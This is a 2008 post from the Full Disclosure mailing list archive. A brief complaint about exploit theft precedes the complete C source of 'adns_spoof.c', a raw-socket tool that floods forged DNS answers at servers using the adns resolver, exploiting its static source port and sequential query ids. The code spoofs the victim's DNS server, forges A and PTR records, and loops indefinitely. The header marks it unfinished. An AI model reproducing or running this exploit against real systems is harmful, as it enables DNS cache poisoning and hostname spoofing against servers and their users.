Full Disclosure mailing list archives

Re: OpenID/Debian PRNG/DNS Cache poisoning advisory


From: "Jin Sei" <jinseiu () gmail com>
Date: Fri, 8 Aug 2008 18:43:57 +0100

Note ripped code by ZMDA.

It was recently discovered that a 'member of the underground' released an
exploit, which exploits a vulnerability in the ADNS resolver.
Apparently, he didn't write this exploit, nor did he do much modification to
the exploit he leached.

This is the real exploit, written by sloth, you can find ZMDA's ripped
version on www.milw0rm.com

This is a warning to all lamers, who take credit for other people's
undisclosed exploits.

/* adns_spoof.c - sloth () nopninjas com - August 2004
 *   - spoof dns on ircd's using the adns code
 *
 *   Dedicated to #loldongs @ efnet
 *     http://picdump.home.mindspring.com/dns/
 *     http://www.loldongs.com
 *     the comic about how dns works (or doesn't work)
 *
 *   - spoof dns on anything using the adns (asynchronous dns resolver) code
 *
 *   - The bug:
 *       - Static source port used by the adns code
 *       - Sequential DNS ids in request packets
 *
 *   - Initiate sequence to trigger a dns lookup by the adns resolver. Send
 *     the same range of spoofed DNS ids in a constant flood spoofed as the
 *     primary DNS server for the host. Even a local DNS request will take
 *     long enough to allow some amount of the spoofed DNS responses through
 *     before the primary DNS responds. Since the resolver does not cache
 *     results, the dns lookups can be triggered until the DNS id is
 *     incremented within the DNS id range being spoofed.
 *
 *   NOT FINISHED YET
 */

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>

#ifndef u8
  #define u8  unsigned char
#endif

#ifndef u16
  #define u16 unsigned short
#endif

#ifndef u32
  #define u32 unsigned long
#endif


struct dns_header {
  u16 id;
  u16 flags;
  u16 questions;
  u16 answer_rr;
  u16 auth_rr;
  u16 extra_rr;
} __attribute__((packed));

struct dns_data {
  u16 name;
  u16 type;
  u16 class;
  u16 ttlh;
  u16 ttl;
  u16 data_len; /* data len - sizeof(char *) */
  char *data;
  /* data */
} __attribute__((packed));

struct dns_packet {
  size_t len;
  u8  type;
  char *data;
  /* packet data */
};

struct dns_query {
  size_t len;
  char *data;
};

struct ip_header {
  u8  ihl:4,
      version:4;
  u8  tos;
  u16 tot_len;
  u16 id;
  u16 frag_off;
  u8  ttl;
  u8  protocol;
  u16 check;
  u32 saddr;
  u32 daddr;
};

struct udp_header {
  u16 source;
  u16 dest;
  u16 len;
  u16 check;
};

#define DNS_A   0x0001
#define DNS_PTR 0x000c

struct udp_packet {
  struct ip_header iph;
  struct udp_header udph;
};

void usage() {
  fprintf(stderr, "usage: ./adns_spoof <ircd ip> <ircd dns port> <ircd dns
ip> "
                  "<your ip> <spoof host> <dns id>\n");
  exit(-1);
}

void fatal(char *reason) {
  fprintf(stderr, "fatal: %s\n", reason);
  exit(-1);
}

unsigned short csum(unsigned short *addr, int len) {
  register int sum = 0;
  u_short answer = 0;
  register u_short *w = addr;
  register int nleft = len;

  while (nleft > 1)  {
    sum += *w++;
    nleft -= 2;
  }

  if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer); /* return the checksum value. */
}

struct udp_packet *alloc_packet(size_t datalen) {
  struct udp_packet *packet;
  struct ip_header  *iph;
  struct udp_header *udph;

  if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))
    fatal("error: allocating udp packet");

  iph  = &packet->iph;
  udph = &packet->udph;

  iph->ihl       = 5;
  iph->version   = 4;
  iph->tos       = 0;
  iph->tot_len   = sizeof(struct udp_packet) + datalen;
  iph->id        = htonl(0xbeef);
  iph->frag_off  = 0;
  iph->ttl       = 255;

  iph->protocol  = 17;

  udph->len      = htons(sizeof(struct udp_header) + datalen);

  return(packet);
}

void init_packet(long source, int sport, long dest, int port,
                 struct udp_packet *udp_packet,
                 struct dns_packet *dns_packet) {
  struct ip_header *iph;
  struct udp_header *udph;
  char *data;

  iph  = &udp_packet->iph;
  udph = &udp_packet->udph;

  iph->saddr      = source;
  iph->daddr      = dest;
  iph->check      = csum((unsigned short *)iph, sizeof(struct ip_header));

  udph->check  = 0;
  udph->source = htons(sport);
  udph->dest   = htons(port);

  data = (char *)udp_packet + sizeof(struct udp_packet);
  memcpy(data, &dns_packet->data, dns_packet->len);
}

char *dns_string_format(char *out, char *in) {
  int i, x;

  for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {
    if(in[i] == '.') {
      out[i] = x;
      x = -1;
    } else
      out[i] = in[i];
  }

  out[i] = x;

  return(out);
}

struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
                                    char *answer_data, int type) {
  struct dns_packet *dns_packet;
  struct dns_header *dns_header;
  struct dns_data *dns_data;
  char *query,
       *answer;
  size_t totlen,
         alen;

  if(type == DNS_A)
    alen = 4;
  else
    alen = strlen(answer_data);

  totlen = sizeof(struct dns_header) +
           qlen +
           sizeof(struct dns_data) - sizeof(char *) + alen +
           ((type == DNS_A) ? 0 : 2);

  if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +
                          sizeof(char *))) == NULL)
    fatal("failed alloc");

  dns_packet->len      = totlen;

  dns_header = (struct dns_header *) &dns_packet->data;
  query      =              (char *) &dns_packet->data +
                                     sizeof(struct dns_header);
  dns_data   =   (struct dns_data *) (query + qlen);
  answer     =              (char *) &dns_data->data +
                                     ((type == DNS_A) ? 0 : 1);


  dns_header->flags     = htons(0x8180);
  dns_header->questions = htons(1);
  dns_header->answer_rr = htons(1);
  dns_header->auth_rr   = htons(0);
  dns_header->extra_rr  = htons(0);


  memcpy(query, query_data, qlen);

  dns_data->name        = htons(0xc00c);
  dns_data->type        = htons(type);
  dns_data->class       = htons(1);
  dns_data->ttl         = htons(300);

  dns_data->data_len    = htons(alen + ((type == DNS_A) ? 0 : 1));

  if(type == DNS_A)
    memcpy(answer, &answer_data, 4);
  else
    dns_string_format(answer, answer_data);

  return(dns_packet);
}

struct dns_query *alloc_dns_query(char *query, int qtype) {
  struct dns_query *dns_query;
  size_t qlen;
  int i, x = 0;
  char *p;
  char *data;
  u16  *type,
       *class;

  qlen = 1 + strlen(query) + 1 + 2 + 2;

  if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) ==
NULL)
    fatal("fatal alloc\n");

  dns_query->len = qlen;

  data   = (char *) &dns_query->data + 1;
  type   =  (u16 *) (data + strlen(query) + 1);
  class  =  (u16 *) type + 1;

  dns_string_format(data, query);

  *type   = htons(qtype);
  *class  = htons(1);

  return(dns_query);
};

int send_packet(struct in_addr src, u16 sport,
                struct in_addr dst, u16 dport,
                struct udp_packet *udp_packet,
                struct dns_packet *dns_packet, u32 dns_id) {
  struct sockaddr_in sin;
  struct dns_header *dns_header;
  int s, olen;
unsigned char *p;
int i;

  dns_header     = (struct dns_header *) &dns_packet->data;
  dns_header->id = htons(dns_id);

  init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);

  sin.sin_family      = AF_INET;
  sin.sin_addr        = dst;
  sin.sin_port        = htons(sport);

  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
    fprintf(stderr, "%s: ERROR send_packet() -> socket()\n",
inet_ntoa(dst));
    return(s);
  }

  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)
    fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");

  while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len,
0,
       (struct sockaddr *)&sin, sizeof(sin)) < 0) {

    if(errno == ENOBUFS)
      usleep(50);
    else {
      fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n",
inet_ntoa(dst), errno);
      close(s);
      return(-1);
    }

  }

  close(s);

}

void do_spoof(struct in_addr src, u16 sport,
              struct in_addr dst, u16 dport,
              struct in_addr me, char *answer, u16 dns_id) {
  struct udp_packet *udp_packet_A,
                    *udp_packet_PTR;
  struct dns_packet *dns_packet_A,
                    *dns_packet_PTR;
  struct dns_query  *dns_query_A,
                    *dns_query_PTR;
  char query[255];
  int i;

printf("dns_id = %d\n", dns_id);

  snprintf(query, sizeof(query) - 1,
           "%d.%d.%d.%d.in-addr.arpa",
           (me.s_addr >> 24),
           (me.s_addr >> 16) & 0xff,
           (me.s_addr >>  8) & 0xff,
           (me.s_addr      ) & 0xff);

  dns_query_A    = alloc_dns_query(answer, DNS_A);
  dns_packet_A   = alloc_dns_packet((char *)&dns_query_A->data,
                                    dns_query_A->len,
                                    (char *)me.s_addr, DNS_A);
  udp_packet_A   = alloc_packet(dns_packet_A->len);


  dns_query_PTR  = alloc_dns_query(query, DNS_PTR);
  dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,
                                    dns_query_PTR->len, answer, DNS_PTR);
  udp_packet_PTR = alloc_packet(dns_packet_PTR->len);

  /* weee flood time */
  for(i = 0; ; i++) {
    send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id +
i);
    send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR,
dns_id + i);
    usleep(50);

    if(i > 3)
      i = 0;
  }
}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

int main(int argc, char *argv[]) {
  int i, dns_port, dns_id;
  struct in_addr ircd,
                 ircd_ns,
                 me;
  char *spoof_host;

  printf("###### adns_spoof1.c - sloth () nopninjas com ######\n");

  if(argc < 6)
    usage();

  if((ircd.s_addr = resolve(argv[1])) == -1)
    fatal("ircd host invalid");

  dns_port = atoi(argv[2]);

  if((ircd_ns.s_addr = resolve(argv[3])) == -1)
    fatal("ircd dns host invalid");

  if((me.s_addr = resolve(argv[4])) == -1)
    fatal("my host invalid");

  spoof_host    = argv[5];
  dns_id        = atoi(argv[6]);

  do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);

}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: